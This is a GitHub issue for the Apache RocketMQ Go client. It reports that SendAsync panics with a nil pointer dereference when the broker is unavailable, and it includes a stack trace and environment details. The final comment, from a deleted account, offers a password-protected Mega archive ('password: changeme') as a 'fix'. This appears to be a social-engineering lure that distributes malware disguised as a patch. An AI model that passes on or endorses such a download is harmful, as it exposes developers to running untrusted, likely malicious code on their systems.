apache / rocketmq-client-go

Apache RocketMQ go client
https://rocketmq.apache.org/
Apache License 2.0
1.3k stars 418 forks source link

[Panic] When the mq server is unavailable, calling the SendAsync interface will panic #1170

Open ws0416 opened 2 days ago

ws0416 commented 2 days ago

The issue tracker is ONLY used for the go client (feature request of RocketMQ need to follow RIP process). Keep in mind, please check whether there is an existing same report before your raise a new one.

Alternately (especially if your communication is not a bug report), you can send mail to our mailing lists. We welcome any friendly suggestions, bug fixes, collaboration, and other improvements.

Please ensure that your bug report is clear and that it is complete. Otherwise, we may be unable to understand it or to reproduce it, either of which would prevent us from fixing the bug. We strongly recommend the report(bug report or feature request) could include some hints as to the following:

BUG REPORT

  1. Please describe the issue you observed:

    • What did you do (The steps to reproduce)? When the mq server is unavailable, calling the SendAsync interface will panic, image image image image image

    • What did you expect to see? The rocketmq go client captures exceptions and uses the function return value err to represent the execution result.

    • What did you see instead? time="2024-09-28T11:18:13+08:00" level=error msg="get consumer list of group from broker error" broker="10.129.21.242:10911" consumerGroup=xxxxxxxxxxxxxxxxxxxxx underlayError="request timeout" panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0xbc295e]

goroutine 738949296 [running]: github.com/apache/rocketmq-client-go/v2/internal.(rmqClient).ProcessSendResponse(0x0?, {0xc004939140?, 0xffffffffffffffff?}, 0x0, 0xc0001d7110?, {0xc01f46a258?, 0x1?, 0x1?}) /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/internal/client.go:730 +0x3e github.com/apache/rocketmq-client-go/v2/producer.(defaultProducer).sendAsync.func1(0xc00f69b980?, {0x1bd4000, 0xc0001d7110}) /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/producer/producer.go:411 +0x128 github.com/apache/rocketmq-client-go/v2/internal.(rmqClient).InvokeAsync.func1(0x0?) /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/internal/client.go:591 +0x2b github.com/apache/rocketmq-client-go/v2/internal/remote.(ResponseFuture).executeInvokeCallback.func1() /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/internal/remote/future.go:50 +0x2a sync.(Once).doSlow(0xc01f0095c0?, 0x0?) /usr/local/go/src/sync/once.go:68 +0xc2 sync.(Once).Do(...) /usr/local/go/src/sync/once.go:59 github.com/apache/rocketmq-client-go/v2/internal/remote.(ResponseFuture).executeInvokeCallback(0xc0212265f0?) /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/internal/remote/future.go:48 +0x45 github.com/apache/rocketmq-client-go/v2/internal/remote.(remotingClient).receiveAsync(0xc01cd4ffb8?, 0x92ae5f?) /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/internal/remote/remote_client.go:139 +0x34 github.com/apache/rocketmq-client-go/v2/internal/remote.(remotingClient).InvokeAsync.func1() /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/internal/remote/remote_client.go:129 +0x2f github.com/apache/rocketmq-client-go/v2/primitive.WithRecover(0xc019ef5620?) /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/primitive/base.go:100 +0x3e created by github.com/apache/rocketmq-client-go/v2/internal/remote.(remotingClient).InvokeAsync /root/go/pkg/mod/github.com/apache/rocketmq-client-go/v2@v2.1.2/internal/remote/remote_client.go:128 +0x20c

  1. Please tell us about your environment:

    • What is your OS? Centos

    • What is your client version? github.com/apache/rocketmq-client-go/v2 v2.1.2

    • What is your RocketMQ version? 4.3.0

ghost commented 2 days ago

This might help:This file might fix it

https://mega.co.nz/#!qq4nATTK!oDH5tb3NOJcsSw5fRGhLC8dvFpH3zFCn6U2esyTVcJA

Password: changeme

you may need to install the c compiler